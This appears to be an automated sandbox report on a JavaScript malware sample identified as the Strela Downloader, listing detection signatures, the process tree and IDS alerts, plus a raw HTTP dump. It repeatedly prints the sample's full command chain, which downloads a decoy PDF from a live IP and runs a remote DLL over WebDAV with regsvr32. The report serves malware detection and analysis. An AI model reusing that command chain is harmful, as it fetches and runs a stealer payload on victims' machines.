Edit tour

Windows Analysis Report
599461291572316126.js

Overview

General Information

Sample name:	599461291572316126.js
Analysis ID:	1589057
MD5:	f06a8756060b3e40c64e27a53a52764a
SHA1:	be8605c418ff61566c44fb78a92ecbad49bce87c
SHA256:	e0e40f76df467f0afc095402649dd38b1c185d6a536adeb1549eda63252e9b74
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5480 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5228 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2448 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2744 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5880 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 592 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1636,i,3623783561045956600,1222164266513190760,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5684 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4892 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5480	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2448, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2448, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ProcessId: 5480, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4892, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49713

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ProcessId: 5228, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ProcessId: 5228, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ProcessId: 5228, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ProcessId: 5228, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ProcessId: 5228, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ProcessId: 5480, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2448, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5684, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4892, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 672, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5684, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4892, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll, ProcessId: 5228, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:58:29.181275+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:58:31.905339+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49713	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:58:29.181275+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 599461291572316126.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 599461291572316126.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49713 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:58:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8888
